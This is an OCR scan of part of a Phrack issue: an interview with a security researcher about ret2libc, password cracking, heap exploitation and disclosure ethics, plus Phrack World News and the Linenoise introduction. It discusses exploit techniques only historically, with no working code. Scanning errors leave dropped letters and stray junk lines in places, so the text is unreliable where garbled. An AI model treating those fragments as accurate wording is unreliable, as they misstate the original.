

c 
US-centric phreaking/anarchy zine of 1980s, nor try to play the same role 
that it did in 1990s now that there are many other alternatives. 


Over the many Phrack issues so far, it captures diversity and evolution of 
the underground. The diversity just among the people prophiled is of such 
extent that on one hand they don’t quite fit (e.g. I’m mildly offended to 
be prophiled after certain other individuals had been some issues before), 
but on the other that’s how it is in life. Similarly, the philes range 
from utter crap (luckily not much of it, such as the uncalled-for ridicule 
in the Loopbacks) to inspirational or capturing the diversity of scene 
spirit or (lately) opinions on the scene dying (or maybe not), and to 
quality technical content (a lot of it). 


Of course, opinions on what constitutes utter crap vary. For some of your 
readers, much of what I wrote above will be whitehat crap (ethics huh?) or 
just off-topic (historical software development thoughts in Phrack, huh? 
where are all the sploits? yet that’s the balance I preferred, as the 
prophile is on me and I’m not only into (in)security and colored hats). 


As I don’t worship Phrack, frankly I’ve actually read or even skimmed over 
only a minority of the issues/philes. With my Issue #53 article and this 
prophile, I’ve probably already spent more time writing for Phrack than 
reading it. As a Soviet joke goes, I’m a writer and not a reader. 


|=---=[ What you would like to see published in Phrack? 


I like good people and quality content, but I realize that the diversity is 
also what makes Phrack valuable as what it has been so far. 


So the diversity should be preserved, albeit not to th xtent where us the 
"Sensitive whitehats" (really, even with some of the risque fiction I wrote 
above?) or them the "terrible blackhats" would refuse to contribute to 
further issues. Of course, I don’t mean these labels literally - as FX 
said and I agree, undef (Shat); - oh and Perl is fine with me, but I do 
think the editors need to strike a balance between whatever there is. 


|=---=[ What do you think is the role of Phrack in the current "scene" that 
is dominated by "cons"? 
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Phrack is in fact less important now that there are so many other ways to 
share one’s experience, research, or rants - and by far not only at cons. 


What I think Phrack may continue to provide is perspective over an extended 
period, including via these prophiles, as well as by soliciting and 
selecting for publication articles that are of longer-term relevanc 


|=---=[ Who or what inspired you to start hacking? 


Friends have helped introduce me to things, and conversely I made friends 
while doing things. 


Technical challenges. Curiosity to explore. Exposure (and addiction?) to 
the networked world beyond local BBSes, and survival (will I be on the net 
tomorrow?) 


|=---=[ We know that no one will ever admit he’s part of the underground, 
but, when and how did you enter it? :> 


What’s underground and what’s not is fuzzy, but as it happened in 1994 a 
friend I had made on BBSes/FidoNet invited me (as a coder) to a group he 
was starting and to private BBSes. At about the same time, I also got on 
the Internet and wanted to retain my access and to explore, and I got in 
touch, via IRC and such, with folks in other countries, both demoscene and 
software cracking scene. As I recall, mARQUIS of the recently formed uCF 
had released a cracked version of EXE Manager, my software protection 
tool. I joined their channel for a friendly discussion, and ended up 
being invited to and joining the group. 


|=---=[ What do you consider your most notable technical achievement? 


May I list several that I find somewhat notable? I think all but possibly 
the most recent would have been invented by others by now. 


I think I helped accelerate the move from shellcode to borrowed code, with 
that 1997 posting of first ret2libc exploits. Initially, this appeared to 
have made no effect, but then things started changing, and changing a lot. 


In the same posting, I also introduced what later became known as ASCII 
armoring (unfortunately, a term that was already used to refer to something 
unrelated: binary to text encoding in PGP). I suggested placing code that 
should be out of easy reach of exploits via C strings at addresses that 
contain at least one NUL byte in them. (In that posting, I called this a 
"fix", which I now regret. I should have written "partial mitigation".) 


I was first to bring non-executable memory protections to Linux and to x86, 
initially just the stack (then extended to much more by PaX Team). This 
was not unique for operating systems in general there was already Casper 
Dik’s patch for Solaris on SPARC, and Digital Unix on Alpha had 
non-executable stack by default - but it was new to Linux, to x86, and to 
free software (Solaris was non-free). At first, upstream maintainers 
opposed this, but later (when I had given up and moved on) it was embraced 
by Linux and other free and non-free operating systems. If I had not 
started that discussion/controversy at the time, and someone else did 
later, maybe the persuasion timer would start ticking later as well. 


JtR’s incremental mode, in its initial form introduced right with version 
1.0 in 1996 (and tested privately in an unreleased cracker in 1995), was 
novel: being able to search a password space exhaustively, yet in a smart 
order. Before JtR, it was one or the other: dumb exhaustive search, or 
smart non-exhaustive search. (I guess NSA and the like must have had 
developed approaches like this before and beyond, but I am unaware of 
publications or released tools of this kind predating JtR.) With this 
approach, already on computers of the time, it was practical to crack some 
non-word-based yet word-like 7- and 8-character Unix passwords. 


JtR’s built-in ability to train on previously cracked passwords (generate 
incremental mode’s sorted charsets), IIRC introduced in 1997, was probably 
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novel as well. Indeed, people were optimizing wordlists, etc. based on 
cracked passwords before, but not with a built-in feature of the cracker. 


I was first to apply/extend bitslice DES to descrypt, also in JtR, in 1998, 
running especially well on Alphas (the speedup from x86 to Alpha for the 
bitslice DES code of the time was comparable to the speedup going from a 
CPU to a GPU now). 


With a team, we demonstrated that it is practical to have a 
fully-functioning Unix-like system without SUID programs, and that it is 
possible to do so much more (than others do) within the traditional Unix 
permissions model. Unfortunately, this is, with few exceptions (e.g., 
Vixie Cron is such a lucky exception), not being embraced by others. 
*BSD’s stay with their SUIDs, and many Linux distros go beyond the 
traditional Unix permissions prematurely. 


More recently, the concepts of ROM-port-hardness (first presented in my 
ZeroNights 2012 talk, with the slides online so I won’t explain it here) 
and multiply latency hardening for password hashing, KDFs, and 
cryptocoins. Multiply latency hardening is about tying up RAM for a 
duration that cannot be made many times smaller through higher bandwidth 
alone, but only through also improving integer multiplication latency, 
which CPUs are optimized to be very good at. (Some attack speed 
improvement is indeed possible with ASICs anyway, but not as much 
improvement as there would have been without such hardening.) It is 
also applicable to other areas, such as timed-release encryption. 


The above list might look like a lot done, or like too much bragging, or 
like too little done. My own assessment is too little done per time spent. 


=[ Related to the previous question: Can you give us some background 
information? How and why did you come up with this? Can you give us 
an anecdote story related to it? 


Regarding the ret2libc exploits, as I mentioned in the 1997 posting some 
credit for this goes to Pavel Machek, a Linux kernel hacker who had 
challenged me with the possibility of borrowed code attacks (without such 
wording at the time, I think) on my non-executable stack mitigation. 
Always thinking both defense and offense, I went ahead and implemented 
those very first ret2libc exploits, and posted them. 


My secondary(?) motivation was "to prove that exploiting buffer overflows 

should be an art", as I wrote at the end of that e-mail. A typical buffer 
overflow exploit at the time was copy-paste from Alephl’s Phrack 49 
a 
T 


rticle, even replicating the misindented __asm__("movl %esp,%eax"); line. 
hat was dull. Compare this to today’s assortment of memory corruption 
exploits, which often are pieces of art. 


|=---=[ Was your most notable technical achievement also the one that was 
the most fun? 


While notability can be (mis) judged through the reception by others, and 
this is a reason why I chose to emphasize the ret2libc exploits, I have no 
such criteria for "most fun". These exploits certainly were fun, and there 
was that satisfying feeling re-reading their code, but were they absolutely 
the most fun? I’m not sure. Many things I did were fun. 


Exploration of VM-based software obfuscation possibility was fun (even if 
possibly of negative ethical value as "intellectual property" protection 
might be in general, although there are other potential applications of the 
idea, such as for weak "whitebox crypto in the cloud" in modern speak). 

Some people liked the PoC, and there were friendly copycats. I didn’t 
pursue this further as I fully went into FOSS at about the same time. 

A couple of years later, I was surprised to find a disassembly of my PoC in 
a printed magazine, with concerns raised that the technique could be picked 
up by malware. I think this hasn’t happened, but I suspect that my PoC 
might have influenced the creation of VMProtect (IIRC, it also used NOR as 
an emulated instruction, but added many other instructions thereby spoiling 


2.txt Wed Apr 26 09:43:48 2017 10 
the idea). 


There were some technical feats that were not notable in terms of influence 
(either because they had no such value or because they were not exposed or 
were overlooked), but certainly were fun. I mentioned some among the 
"memorable experiences". A maybe-curious one, implemented in 1995-1996 for 
DOS as JMPTRACE.EXE, was guiding a program’s user and making and comparing 
as many as needed dumps of the program’s control flow instructions’ status 
(not-reached, taken, not-taken, varies) to spot the instructions changing 
between two sets of dumps, and automatically generate a patch to force 
program behavior to one path or the other. It was fun to see this produce 
cracks in under a minute, removing the need for any manual work in simple 
cases like this. This is extending and re-applying game cheating tools’ 
old idea of comparing memory dumps to spot the one right variable. Sounds 
obvious, yet I’m not aware of others having done it before. 


|=---=[ When you came up with the unlink metadata attack for Mozilla’s 
heap, did you look for it in other linked list allocators? Did you 
realize its full potential at that time? 


Actually, the attack as originally discovered and demonstrated was not on 
Mozilla’s allocator, but on whatever allocators of the underlying system 
Mozilla used - so yes, as the advisory I published at the time said, the 
technique was shown to be applicable to glibc’s and Windows’ allocators of 
the time. And yes, I did realize, and maybe I should have written a 
separate article on just that. I was trying to make two points at once: 
that file format parsers are a major risk, and that "heap overflows" are 
exploitable in this generic way. Arguably, placing them both in one 
advisory obscured the latter, but as we see from further publications by 
others, including in Phrack, it was not fully missed either. 


Want an anecdote on this one as well? I first triggered the bug when 
trying to optimize a JPEG for my website. I deleted the comment in vi, but 
updated the comment length incorrectly. The browser crashed, and I didn’t 
let this stay non-investigated. (These days, I grew older and oftentimes I 
just ignore software crashes, letting those bugs live. What a pity... 
although I imagine the pro-bug folks would appreciate that.) 


I first exploited the bug into branching to a controlled address in gdb 
before having ever looked at the corresponding source code of either 
Mozilla or glibc. It’s this low-level / binary approach that enabled me to 
see what was possible. If I had switched to reviewing the source code 
sooner, I might not have realized the bug was exploitable. 


IT only looked at Mozilla’s source code and at the relevant place in glibc 
for figuring out what exactly was happening in higher-level terms, and for 
writing it up for others. Oh, and for producing a reliable binary patch. 


|=---=[ Some of your older publications are "offensive", while in the 
recent years you seem to have focused on more "defensive" research. 
Do you agree with this statement? If yes, what were the reasons for 
this change? 


I was always exploring both sides since I got into "software protection" 
and (in)security. It is possible that I alternated my focus between the 
two over the years, yet I can’t imagine me working on defensive research 
without at the same time considering attacks on the solution or mitigation 
being designed. For example, my Phrack 53 article was both defensive and 
offensive, and I dropped what later became known as hashDoS in it. 


It is true that I mostly quit developing memory corruption exploits after 
having published just a few (innovative) ones in late 1990s. A reason for 
this is that the desired effect was achieved, whether due to my work or/and 
otherwise: people started producing advanced rather than dull exploits. 


Similarly, I was one of the first (possibly the first?) to exploit a buffer 
overflow on the Windows platform (in 1996, then published Windows 95 and NT 
shellcodes in January 1997), but I quit almost right away as other people 
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also started bringing the Unix attack knowledge onto Windows. 


I still co-maintain John the Ripper, which is an offensive tool. 


I recently participated in a project to implement energy-efficient bcrypt 
cracking on Epiphany and FPGAs, which is also offensive. 


I designed yescrypt, which is defensive, but in the process I went through 
lots of attacks on it. 


Yes, our Openwall GNU/*/Linux project is defensive. 


| =[ Related to the previous question: Which of the two do you think 
bears more fruit for a researcher; offensive or defensive research? 
Which of the two increased your learning and understanding more? 


I’d say offensive as you need to consider attacks when working on defensive 
research. What may happen in practice is that when you naively go 
defensive-only, others break your defenses (e.g., my early and naive 
software protection schemes) and make you learn in that way. If you’re 
lucky, or if you deliberately provide the incentive (bug bounty?), this 
happens early on, before there’s too much at stake (and then you start 
thinking like an attacker as well... or you fail as a defender). 


|=---=[ What’s your take on the IT security industry vs. "the underground"? 


A large part of today’s IT security industry that I’m in contact with grew 
from 1990s maybe-underground, so it’s people we have a common understanding 
with. It’s good. 


As to the industry vs. today’s underground, I don’t know. I guess there’s 
some overlap. 


There’s also some overlap of the civilian IT security industry (and 
presumably the underground) with the military, intelligence, and law 
enforcement. Some are contributing to ethically questionable efforts. 

(I am not implying that any work for governments is ethically questionable. 
A lot of it isn’t. That’s where the Internet came from.) 


There’s also the military rhetoric (such as "cyberwar"), which gets picked 
up by non-tech yet powerful people. This is a theme of my ZeroNights 2014 
keynote game: "Yesterday infosec was such an easy game to play. Now we 
need a place to hide away?" Was it really a game back then? And is it 
still a game now, or is it time to hide away (move on to the many 
non-security areas where we can constructively hack useful things without 
ethical uncertainty)? I have no "authoritative answers" to these; I just 
like to remind us to ponder on this in our decision-making on what to work 
on next. 


Finally, there are marketing-mostly companies and activities, which are 
leeching funds without doing much else. These happen to provide a false 
sense of security, and vulnerabilities in the security software itself. 


Overall, I think most IT security expenditures are not cost-effective, but 
it’s similar for other large industries. Wasted money isn’t necessarily 
bad per se. Money has no inherent value, it’s just an instrument in the 
economy and it’s voting power. What matters is whether th xpenditures 
result in people wasting their and others’ lives on unhappily doing useless 
work or not. Unfortunately, they do, but not to as bad an extent as it 
might seem at first. (And yes, this also affects distribution of wealth.) 


Besides IT security industry, there’s also much increased attention 
(compared to 20 years ago) to security elsewhere in IT, as well as much 
improved knowledge of how to tackle safer design of IT systems. This is a 
lot more cost-effective than spending on security on its own or as an 
afterthought. It provides not only security, but robustness, and in ways 
that impose fewer restrictions on the users. Speaking of restrictive 


security, this reminds me of anti-security and its less reasonable aspects: 
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Did you possibly mean your question in context of the (arguably eroded) 
nti-security movement of 2002-2009 (arguably different from its earlier 
orm of 2001)? I think that’s a false dichotomy built upon several likely 
lawed assumptions. As I understand, one assumption was that the security 
ndustry’s growth was contributing to decline of the underground. I think 
t actually was change and not decline. Yes, some people were growing up 
nd moving on and into the industry (no, this didn’t make them "enemies"), 
ut also a new generation was joining the underground. Phrack largely lost 
ts anarchy aspect, even prompting "fake Phrack" during that period, but 
hatever happened to Phrack, etc. didn’t necessarily speak of the entire 
nderground. In fact, that very movement exemplified the diversity that 
ontinued to exist and flourish (even if with some aspects I personally 
ldn’t condone, since those infringed upon freedom of choice by others). 
nother assumption was that the security industry still depended, and ina 
bad way", on sustained scaremongering and on real security threats found 
in full disclosure publications. I think that even if (hypothetically) 
those ceased, the industry would grow at roughly the same pace, and it 
wouldn’t be any more focused on real threats. On the contrary, I think it 
would be spending a larger fraction of resources on people unhappily doing 
useless work, with no reduction in total resources spent. 


O° 
G 


2Pzaczererogogrr mmo 


This is my prophile, and thus my opinion; I do not claim it is the ultimate 
truth. I hope I haven’t built a strawman, but in case I have please tak 
the above paragraph on its own merits (not necessarily referring to the 
specific movement). I was mostly not around during those years, so I could 
well have missed crucial detail, and I understand that anti-security wasn’t 
only about those things (and I think initially not about them at all). 


|=---=[ What is your stance on full-disclosure vs non-disclosure? Are there 
situations where both are needed, or is it one or the other? 


I generally favor full disclosure, but I don’t oppose occasional use of 
coordinated disclosure prior to the full disclosure. I do oppose excessive 
use of coordinated disclosure, as well as excessive embargo periods. 

I also buy into Ted Unangst’s suggestion to call this "selective 
disclosure", with the negative connotation. This is why I agreed for 
Openwall to host not only the oss-security list (where full disclosure is 
practiced), but also the (linux-)distros lists (for advance notification 


to distro vendors, PGP re-encrypted). As someone hosting them, I get to 
dictate policy, not letting issues stay in the limbo for too long (and 
forcing them to be brought to oss-security). Obviously, what’s 


"excessive" and "too long" is subjective (there is a published policy on 
that for our lists, but how we came up with this specific policy is 
subjective). And yes, it’s necessarily "selective". 


I am generally against non-disclosure, but there may be exceptions. As I 
understand, it exists out of intent to use or/and profit off of one’s 
finding, concerns of others taking advantage (unfair or any at all) of 
one’s finding defensively (you doing free bug hunting for the vendor), 
offensively (use of your recent disclosure for attacks on not-yet-—patched 
systems), or/and commercially (scaremongering, marketing, actual security 
products), concerns of getting oneself in trouble (e.g., the vendor going 
after you), not wanting to lock other hackers out, increased appreciation 
of the bugs (letting them live just for the sake of it), not wanting to 
affect game dynamics, lack of motive (perceived need) to disclose, or/and 
just laziness. This list is probably non-exhaustive. 


I think there’s rarely an ethical way to profit off of a bug without its 
planned public disclosure (remember, this might not be a game anymore) and 
there are plenty of other ways to make decent money, including in IT 
security, without such ethical compromises. I can sympathize with many 
possible reasons for one’s choice not to disclose a bug, especially in 
context of jailbreaks or DRM (thus, retaining the essential freedom to 
fully utilize one’s own devices or content). However, it should always be 
considered that information may leak or be rediscovered by others. 


|=---=[ Some claim that the hacking scene is growing old and that there are 
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not enough talented young people interested in hacking to replace 
it. What are your thoughts on this? 


There are plenty of talented young people interested in hacking. What may 
be changing (or maybe not) is scene spirit. 


|=---=[ What is your advice to the new hackers reading this? 


I tried to share some maybe-wisdom throughout the pseudo-memoirs and 
answers above. 


FX’s advice of "Try Harder 2 Be Yourself" makes sense to m 

individuality, curiosity, creativity. Being a hacker is about all of 
those things and, whatever the darker undef color folks say, it isn’t 
necessarily about ever hacking into systems, which might or might not even 
be relevant (depending on creativity involved or lack thereof). Last but 
not least, try to be a good person, while at the same time staying 
yourself. (Few people are genuinely bad.) This means integrity, too. 


A hacker shouldn’t need guidance. If you feel like asking an old-timer for 
guidance, you’re probably on the wrong path. Rather, it should be about 
your own creativity, and you’d find you have more curiosity and more 

things to explore than you have time for. 


However, it is in fact helpful to be introduced to things you might not yet 
have found on your own. Also, it is OK to bring up specific questions — 
not of the sort "what’s next", thus not step-by-step guidance, but asking 
in appropriate communities for advice on very specific technical issues you 
already ran into. 


The landscape has changed. On one hand, the previously low-hanging fruit 
has been explored, so the barrier to entry may be higher now. On the 
other, a lot of information and tools are now easily available, and there 
are friendly communities that are even easier to reach than before, and 
without the elitism too, so the barrier to entry may have lowered. 
Overall, it’s just different. There’s new low-hanging fruit too - e.g., 
for the coming "Internet of things" you’1l end up building upon and 
porting over the previously explored attack techniques to this new area, 
and hopefully finding something creative about it as well. 


It’s probably riskier (and less of a game) to explore systems online now, 
but on the other hand you can have plenty of rare systems in emulators/ 
VMs, and you can "hack" in CTFs, which really are just games (good!) Bug 
bounty programs provide you a previously unheard-of opportunity to not 
only explore some systems online in some limited ways, but also get paid 


for it - and it’s a game (also good!) You don’t have to worry about how 
you’d get online to connect to a CTF server tomorrow. There are no such 
survival challenges in today’s CTIFs. You wouldn’t even voluntarily go for 


the headache of the network lag and frequent disconnects, even though 
technically those could be simulated. The spirit is probably very 
different now. Times change. (But maybe not yet by this much in some 
developing countries? Just like USSR/Russia was lagging behind back then. 
As a cat, I see a lot of naive mouse activity from Indonesia, so maybe it’s 
still like that in there, perhaps with wireless in place of dialup?) 


Firmware hacking has probably stayed the same, including the spirit, and in 
fact the range of opportunities has expanded. Lots of ethically sound 
opportunities there, too. 


There are many ways to be a hacker without ever getting into (in)security - 
e.g. hacking on non-security aspects of a free operating system - or even 
without focusing on computing, although there’s a hot and highly relevant 
area which does involve computing: bioinformatics. 


|=---=[ What is the future of hacking? The future of "the underground"? 


Hacking will go on, in all meanings of the word. 


2.txt Wed Apr 26 09:43:48 2017 14 


The underground, the kind of it that I consider positive, might be getting 
blended with other communities, although I hear there are forums that have 
sort of replaced private BBSes of before. 


There will also remain for-profit groups (and their forums, communities, 
etc.) that technically are underground, but that’s different - not the 
kind of underground I possibly associated with. 


Very different kinds of hacktivism will also continue, and I think these 
are for human rights, transparency, protests, and attempts to influence the 
game (many or most of them misguided). Also a lot of malicious and just 
for fun trolling and stalking, but masquerading as hacktivism - that’s not 
even hacking, but it can involve e.g. (D)DoS attacks and thus be lumped in 
with hacking/hacktivism. Also manipulation of public opinion via technical 
means (automated sockpuppets, etc.), including attributed to state actors. 


|=---=[ What do you think the biggest infosec challenges for the next 5 
years are/will be? And what should be done about them? 


5 years is not that much, so the challenges will stay mostly the same as 
today’s. Attention will be shifted to some specific areas all of a sudden, 
like we’ve seen it happen for SSL/TLS starting with Heartbleed, but this 
does not mean those areas actually suddenly started to need more attention 
(maybe they needed it before as well, and/or maybe they don’t deserve as 
much now). 


Below are some that will be changing from today’s. This does not mean 
they’ re the absolute biggest challenges - I think the biggest are the sam 
as today’s - but they might be among the biggest that change from today’s: 


Use of virtualization will increase even further, on all kinds of devices, 
including with nested and mixed technologies, which will bring new code and 
new bugs with it (such as in front-end software and middleware used to 
manage those VMs/containers), and inconsistent/violated security 
models/assumptions. Ideally, there should be demand for under-the-hood 
simplicity of such solutions, but unfortunately this demand is lacking, and 
so will the supply, likely resulting in some ridiculously complex and 
inconsistent systems. 


Use of "microservices" will continue to increase, and so will server-side 
request forgery attacks - and defenses against those. With separation of 
backend services improving, there will be an unfortunately to-be-missed 

opportunity to make it privilege separation rather than merely operational 
separation. 


For crypto, some of those backend servers could act as HSM-alikes, but this 
opportunity will also be missed due to HSM-alikes requiring HSM-like rather 
than server-like sysadmin practices. 


Use of centralized management will increase - config file management across 
all of organization’s virtual and physical servers, etc. This means a 
Single point of failure, and of security compromises too. We could have 
gained intranet security boundaries through greater separation of backend 
services, but instead we’ll lose them through greater centralized 
management. This applies to (security) event monitoring, too. 


With more levels of abstraction, (live) migration, hosting infrastructure 
outsourcing, and increased use of solid-state non-volatile memories 
(ranging from "disks" to "RAM"), it will be even harder (and arguably 
counter-productive) to keep track of actual devices underlying the logical 
assets and, even once located, to securely wipe those devices when they’r 
to be retired (hard to do for flash memory with over-provisioning and wear 
leveling) - but people typically neglect to do this now anyway. 


IPv6 deployment will increase more rapidly than it did in prior 5 years. 
We’ll s more talks about the inadvertent security exposures this brings. 


Use of encrypted communications will continue to increase, with technical 
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pressure put on those who are lagging behind in protocols support (upgrade 


or fall off the net). As a side-effect, this will prevent some legacy 
systems from being accessed or from talking to many newer systems. In 
some cases, we’ll s fallbacks to unencrypted communications where 


previously legacy encryption was being used. In some other cases, we/’1ll 
see software updates stop being installed, thereby leaving systems exposed 
to more vulnerabilities for longer. I’d like to see a saner, case-by-case 
approach here - e.g., with opportunistic encryption, there’s little point 
in insisting on the latest protocols (refusing legacy ones), and a 
WordPress updates server isn’t really helping security by denying 
connections from older systems. Unfortunately, I don’t expect an 
improvement in the approach taken (in part because case-by-case is 
necessarily more complex than one-size-fits-all guidance), and so there 
will be more collateral damage. 


With luck, we’ll see another spike (after 2013’s) in demand and hopefully 
supply for line-rate encryption in high-speed network devices, due to a 
combination of genuine security-consciousness and hype and marketing 
opportunities. Assuring security of encryption provided by those typically 
proprietary devices will be tough (e.g., does this one device actually 
provide perfect forward secrecy?) Ideally, there should also be demand for 
at least some openness of such devices for security review. 


SCADA will move even more into the spotlight, and will remain with lots of 
low-hanging fruit for years. Cars and IoT will continue to join SCADA 
under the spotlight. 


Control over end-user devices will continue to be taken away by the 
vendors, and jailbreaks will continue too. Arguably well-intentioned 
hardware backdoors (remote management, anti-theft, etc.) will continue to 
be introduced, and will remain a concern. Open hardware projects will 


advance, and more of them will be started, including in response and 
trying to address these concerns. Backdooring potential of taped out 
designs at chip foundries will become more relevant and thus a topic of 


more discussions. 


As open CPU designs (such as RISC-V and J Core aka free SuperH) succeed, 
there’s also good potential for an open FPGA with a FOSS toolchain (perhaps 
building upon existing FOSS projects such as Tore and Yosys). This could 
be crowd- or/and VC-funded, and having it would address some concerns. 


| =[ Open question. Anything more you would like to say to Phrack 
readers? 


I can neither confirm nor deny anything stated in this prophile. 


I wrote a lot (sorry for your time!) and I included some possibly strong 

opinions, but I do not mean to speak with authority. My involvement in the 
underground, if any, has been rather limited and brief, nor am I a true 
old-timer (1990s wasn’t that long ago). I also would like to apologize to 
past/other(?) Phrack editors as I had refused to be prophiled before on 
two(?) occasions. It felt like too much of a drag and events were too 
recent. Time had to pass so that I could provide perspective, as I tried 
now. Nothing to do with Phrack’s editor teams changing, just the timing. 
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[ Phrack World News 


[ by the Phrack staff 
[ staff@phrack.org 
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Wow, 4 years have passed! One of the possible positive outcomes of slow- 
paced releases of Phrack is that Phrack World News gives us the opportunity 
to look back on a few years worth of happenings and ponder about the bigger 
picture for a moment. First of all: Snowden. It feels like ages ago now, 
but, for anyone living under a rock, in 2013 Edward Snowden [1] leveraged 
his position working at the United States National Security Agency to copy 
and later leak [2] classified documents on NSA’s global surveillance 
operations. If the very previous issue of PWN [3] prophetically warned 
about the massification of surveillance as a threat to our civil 
liberties, the Snowden leaks only proved what hackers and conspiracy 
theorists had believed and proclaimed for a long time: the US government 
unlawfully spies on its own citizens as well as everyon lse’s. 


While it is probably futile to believe that the social and political 
reactions to the Snowden leaks have had any meaningful impact on the NSA’s 
fe) 

t 


perations, the disclosed information is an invaluable resource to validate 
hat governments will go a long way to collect intelligence as broadly and 
deeply as they can. The leaks have shown that the tactics employed by NSA 
ranged from the widespread tapping of phone (e.g. voice, SMS) and network 
traffic to more punctilious methods such as the intercept and tampering of 
export computer and network equipment to insert spying implants. This does 
not mean, of course, that we have global surveillance "figured out". In 
fact, quite to the contrary, it should be expected that many of these 
techniques have been revamped by now, and that many more are to follow, as 
a natural step in the continuous endeavor for stealthiness. As such, any 
effort, technical or otherwise, to safeguard your privacy is more valid 
than ever. 


But indeed, it seems that some of the efforts on designing and implementing 
better crypto systems paid off and governments are starting to have their 
monitoring and investigative capabilities limited by evolving security. One 
indication of that is the growing insistence of various nations on the mind 
-boggling hopelessly insane push for crypto backdoors [4]. The sad and 
unfortunate wave of terrorism the world has been dealing with is repeatedly 
and shamelessly used to support the lobbying for less information security. 
Another (at the moment) ongoing instance of this is the significant dispute 
between the FBI and Apple [5], which refuses to provide the FBI with a way 
to bypass the lock screen of a terrorist’s (and everyon lse’s) iPhone. 


And sure enough the controversies involving governments and information 
security do not stop there. In the past few years we have seen some nations 
being more frank about their offensive capabilities [6] or sometimes 
industry-sourced intelligence [7] combined with publicity on more impactful 
attacks [8] helped demonstrate that hacking is increasingly a bigger deal 
for nation-states. All of this action is (or has been posed as) a driving 
force behind moves such as adding "cyber weapons" to the terms of the 
Wassenaar agreement [9], an initiative that, if not carefully formulated, 
will turn out to be not only utterly ineffective but also extremely harmful 
for the practice of security research and, in consequence, to the 
progressive development of information security in general. Plus, other 
recent breaches, such as Gamma [10] and Hacking Team [11], tell us that 

ven government-affiliated organizations are freely operating without 
respecting UN embargoes and international regulations anyway - ironically, 
it was hackers and the security community that exposed them, and not law 
enforcement. So, who is the law working for? 


Lastly, and with a heart heavier than any of the topics above could ever 
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cause us, Phrack would like to say goodbye to a few illustrious members of 
our community that have sadly passed away. Since it’s been 4 years w 

are not going to attempt to list out every instance, however we can 

easily say that as a community we have lost some incredibly talented, 
charismatic and fantastic people, and we feel the loss greatly. 


Live free, 


— The Phrack Staff 
1 - https://en.wikipedia.org/wiki/Edward_Snowden 
2 —- http://www. businessinsider.com/snowden-leaks-timeline-2014-6 
3 - http://phrack.org/issues/68/3.html 
4 - http://www.theguardian.com/technology/2015/nov/18/ 
us-europe-reignite-debate-back-door-encryption-paris-attacks 
5 - http://www.wired.com/2016/02/apple-brief-fbi-response-iphone/ 
6 - http://www.wired.com/2016/01/ 
nsa-hacker-chief-explains—how-to-keep-him-out-of-your-system/ 
7 — http://www.wired.com/2013/02/chinese-army-—linked-to-hacks/ 
8 - http://arstechnica.com/security/2015/06/ 
why-the-biggest-—government—-hack-ever-—got-—past—opm—dhs-and-nsa/ 
9 —- http://blog.erratasec.com/2015/05/some-notes-—about-—wassenaar.html 
10] - http://www.zdnet.com/article/ 
top-govt-—spyware-company-—hacked-gammas-—finfisher-leaked/ 
11] - http://www.wired.com/2015/07/ 
hacking-team-breach-shows-global-spying-firm-run-amok/ 
=[{ EOF ] 
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[ LINENOTIS 


ial 
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[ various ] 


An old Phrack Staff member and friend used to say that "a strong Linenoise 
makes a good release". 


We begin our journey with an interesting philosophical article, "Hacker 
Luddites" by an anonymous author. TL;DR, ever had an iPhone? Have you 
realized you don’t actually own something you paid several hundreds of 
bucks to acquire? The "cloud era" trend, which has convinced many people 
as well businesses, to literally grant owning rights for their data to 
large corporations, is now everywhere. How is it affecting our state of 
mind and where is this going? 


Our technical part is very strong. Baudsurfer developed an interesting ASM 
chess game in just 256 bytes; read the heavily-commented code and feel the 
nostalgia in your bones. More old-school goodness in a lovely article 
dealing with secure shells and how one can exploit common misconfigurations 
to bypass various limitations and break out of restricted environments. 
Articles like this have a lot to offer to the hacking community. We urge 
our dear readers to follow DangerMouse’s example and submit more articles 
like his! 


The next article has a strange back story. We received this submission 

long ago and we decided to publish it. Admittedly, a lot of time has passed 
since then. The author has stopped replying to mails, but he was originally 
positive about publishing his work. Read it and see how you can cause 

short ID key collisions in GPG. As our everyday computing machines become 
increasingly powerful, such attacks become more and more realistic. 


Following that are two excellent short articles exploring subjects every 
exploit developer is doomed to deal with, namely boundary conditions and 
shellcoding. Our rotten haxor chown has written a nice guide on how to use 
Microsoft’s 23 solver to facilitate the process of exploit development. 
Recently (well, maybe not so recently, lulz), there has been a shift 
towards more formal methods even by old-school haxors who have always 
preferred and obeyed the KISS (Keep It Simple, Stupid!) primitive. Hackers 
have understood that the process of vulnerability discovery as well as 
exploit development can be augmented by modern mathematics and maybe become 
ven more interesting! One cannot easily forget p64_0x08.txt, right? In the 
next article, fishstiqz shows us how you can simply use your compiler to 
easily build shellcodes for Windows. If you ever thought shellcode 
development on Microsoft’s operating system is a pain in the ass, then 

this articl is definitely for you. 


Last but not least we have an opinion piece on the vulnerability 
disclosure circus, the incentives and the related moral questions (lulz) 
by two anonymous contributors. It is balanced and dispassionate and we 
urge you to read it in the same manner. 


That’s it you greedy mofos, another strong Linenoise! Enjoy! 


--[{ Contents 
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|=[ 0x01 ]J=---=[ Hacker Luddites - anonymous ] 


In the west, far gone are the days of slavery. Men live freely with their 
minds and bodies. So the idea of technology potentially limiting these 
things is absurd. 


Computer technology today might not always encourage these principles of 
free mind and body though. Hardware and software is increasingly built in 
the same manner as stone walled gardens, restricting those outside the 
inner circles of technocrats. The designers decide to clutch tightly to 
their systems, defining the full set of actions allowable and therefore 
thinkable on their systems. They are limiting the potential for 
creativity, discovery, and reason in order to further profit. This profit 
is furthered by control because certain control limits piracy, stops 
malicious software from propagating, simplifies the user experience for 
the majority of consumers, and creates revenue through software-regulated 
micro decisions that constrain the full capacity of the hardware and 
software systems being sold. 


Only the masters of the garden, the designers, are allowed inside the 
stone walls, where they are fr to create and are conscious of the inner 
workings and plans. Those outside are not allowed inside the garden. Those 
who are not inside the circle of the original creators do not get to 
create without delegated permission. And consumers and third-party 
developers are too far down the caste system to be allowed arbitrary 
control of their own possessions. 


his leaves the creators on the outside of the stoned walls dependent on 
rilliant and dedicated minds to bypass the wishes of the designers. These 
rilliant minds attain a level of consciousness about the constraints of 
he system that the designers themselves did not understand, and pass this 
n to the masses. Along the way come miscreants, thieves, and pirates. 


OdtoOOH 


In a free market system, if more arbitrary creation is vital in the long 
term, then more creative systems will arise to fill the need. In the short 
term, allowing feedback from the outer castes and integrating their ideas 
has been shown to be more than sufficient for sustained exponential growth 
on the rise to market domination. 


Hacker Luddite: (Oxymoron) A person opposed to technology that greatly 
limits, through artificial means, human potential for consciousness, 
reason, or creativity with that same technology. 


Hacker Luddites hate stone wall garden technologies. Why shouldn’t a 
person be allowed to hold a piece of technology and attempt to modify or 
adapt that technology to suit their will at any given moment? The only 
